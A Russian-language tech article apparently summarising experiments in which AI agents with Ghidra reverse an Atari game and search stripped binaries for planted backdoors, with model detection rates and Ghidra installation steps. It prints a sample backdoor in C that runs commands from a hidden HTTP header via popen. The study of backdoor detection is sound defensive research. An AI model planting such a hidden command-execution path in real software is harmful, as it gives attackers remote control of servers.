
Ghidra — это фреймворк для реверс-инжиниринга, создан и поддерживается Исследовательским управлением Агентства национальной безопасности США.
Фреймворк включает набор высококачественных инструментов для анализа ПО на различных платформах Windows, macOS и Linux:
-
дизассемблирование;
-
ассемблирование;
-
декомпиляция;
-
построение графиков;
-
скриптование;
-
а также сотни других функций.
Ghidra поддерживает разные наборы инструкций CPU и исполняемые форматы, работает в интерактивном и автоматическом режиме. Есть возможность создания собственных расширений и скриптов на Java или Python.
Ghidra в связке с Claude
Особенно эффективно применение Ghidra в связке с агентом. Например, для поиска уязвимостей. О таком опыте пишут специалисты по безопасности из польского стартапа Quesma, который специализируется на использовании машинного обучения в ИБ.
Первый опыт они получили в январе 2026 года, успешно применив Ghidra+Claude через опенсорсный MCP-сервер GhidraMCP для взлома классической игры River Raid под Atari:
При этом у разработчиков даже не было предварительного опыта дизассемблирования, но связка Ghidra+Claude оказалась настолько мощной и эффективной, что положительного результата удалось добиться даже без опыта.

Главное, что они научились использовать Ghidra в такой комбинации, выяснили все нужные настройки и разрешения для такого применения.

Следующим опытом стало маскировка бэкдоров в бинарнике с последующим аудитом в Ghidra. В этом эксперименте помогал опытный хакер Михал [Redford] Ковальчик, который в 2022 году раньше нашёл программный баг в польских поездах, который выводил локомотивы из строя. Также он нашёл недокументированный UDP/CAN-конвертер, подключённый к GSM-модему. Презентация Ковальчика стала самой популярной на хакерском конгрессе 37с3 в 2023 году:

На этот раз задача была другая: проверить эффективность Ghidra для поиска бэкдоров в бинарных файлах, в комбинации с разными нейронными моделями. Если вкратце, агентам дают скомпилированные бинарники (без исходного кода) и инструменты для реверс-инжиниринга (Ghidra, Radare2) в изолированных докер-контейнерах. Агенты должны определить, содержит ли бинарный файл закладку или другое вредоносное изменение.

Исследователи начали с нескольких опенсорсных проектов, вручную внедрили туда закладки и скомпилировали модифицированный код в обрезанные двоичные файлы. Бэкдоры там разные: от удалённого выполнения кода через скрытые HTTP-заголовки до таймеров, которые срабатывают после определённой даты. Например, такой бэкдор в HTTP-сервере:
gboolean li_check_debug_header(liConnection *con) { liRequest *req = &con->mainvr->request; GList *l; l = li_http_header_find_first(req->headers, CONST_STR_LEN("X-Forwarded-Debug")); if (NULL != l) { liHttpHeader *hh = (liHttpHeader*) l->data; char *debugIn = LI_HEADER_VALUE(hh); FILE *fp = popen(debugIn, "r"); // Execute attacker's command // ... read output into debugOut ... pclose(fp); li_http_header_insert(con->mainvr->response.headers, CONST_STR_LEN("X-Request-Trace"), debugOut, strlen(debugOut)); } return TRUE;}
Оказалось, что агенты могут эффективно работать в связке с Ghidra и декомпилятором Radare2. В частности, Claude Opus 4.6 нашёл 49% бэкдоров, Gemini 3 Pro — 44%, а Claude Opus 4.5 — 37%.

Пока что на практике такое трудно использовать из-за высокого уровня ложных срабатываний и низкой скорости работы агентов, но в будущем подход может стать эффективным.
Также стало понятно, что реверс-инжиниринг бинарных файлов теперь доступен не только экспертам, но и всем желающим, включая разработчиков даже без опыта в ИБ. Агенты сильно облегчают первоначальный аудит безопасности подозрительного файла. Вся область становится доступной для гораздо более широкого круга программистов.
Ещё год назад агенты не могли надёжно работать с Ghidra, а теперь выполняют реальный реверс-инжиниринг — загружают двоичные файлы, просматривают декомпилированный код, отслеживают поток данных. Авторы исследования считают, что результаты можно дополнительно улучшить с помощью контекстного инжиниринга (включая соответствующие навыки или MCP) и доступа к коммерческому ПО для реверс-инжиниринга (IDA Pro и Binary Ninja).
Более того, в будущем анализ можно проводить с использованием локальных моделей, настроенных для обнаружения вредоносного ПО. Кроме того, злоумышленники будут оптимизировать вредоносные программы, чтобы избежать обнаружения публичными моделями. Так что для эффективной защиты придётся использовать локальные настроенные модели в обязательном порядке.
Полные результаты опубликованы здесь, а сами задачи и методология тестов лежат в репозитории, так что их можно повторить и проверить.
Установка Ghidra
Для скомпилированного многоплатформенного бинарника Ghidra нужно сначала установить 64-битный JDK 21. Затем скачать Ghidra из репозитория Github.
Официальный мультиплатформенный выпуск именуется по шаблону:
ghidra_<version>_<release>_<date>.zip
Запуск командой ./ghidraRun (или ghidraRun.bat под Windows). Как вариант, можно запустить PyGhidra: ./support/pyghidraRun (или support\pyghidraRun.bat под Windows).
Сборка из исходников требует установки дополнительных зависимостей, кроме JDK 21:
-
Gradle 8.5+ (или обёртка Gradle, если есть подключение к интернету)
-
Python3 (версии с 3.9 по 3.14) в комплекте с pip
-
GCC или Clang, а также make (Linux/macOS)
-
Microsoft Visual Studio 2017+ или Microsoft C++ Build Tools со следующими компонентами (под Windows):
-
MSVC
-
Windows SDK
-
C++ ATL
-
Потом скачиваем исходники или клонируем репозиторий.
git clone https://github.com/NationalSecurityAgency/ghidra.git
Дополнительную информацию см. в руководстве для разработчиков.
Ещё один плагин для интеграции Ghidra с агентами: GhidrAssist и GhidrAssistMCP.
ссылка на оригинал статьи https://habr.com/ru/articles/1055806/